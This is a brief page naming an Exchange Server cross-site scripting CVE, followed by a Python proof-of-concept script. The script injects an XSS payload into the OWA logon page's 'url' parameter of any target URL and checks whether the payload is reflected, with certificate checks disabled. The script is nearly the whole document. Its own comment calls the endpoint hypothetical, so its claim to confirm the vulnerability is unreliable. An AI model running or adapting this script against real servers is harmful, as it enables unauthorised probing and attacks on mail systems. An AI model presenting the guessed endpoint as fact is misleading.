CVE-2026-42897 Microsoft Exchange Server跨站脚本漏洞

# Proof of Concept (PoC) for CVE-2026-42897 # This script demonstrates a reflected XSS scenario. # Usage: python3 poc.py <target_url> import requests import sys if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") sys.exit(1) target = sys.argv[1] # Malicious payload to demonstrate script execution payload = "<img src=x onerror=alert('CVE-2026-42897-XSS')>" # Example vulnerable endpoint (hypothetical based on Exchange structure) # Attackers may inject parameters into OWA or ECP interfaces url = f"{target}/owa/auth/logon.aspx?url={payload}" try: response = requests.get(url, verify=False) if payload in response.text: print("[+] Vulnerability Confirmed: Input is not sanitized.") print("[+] Payload reflected in response.") else: print("[-] Payload not reflected or WAF blocked the request.") except Exception as e: print(f"[!] Error: {e}")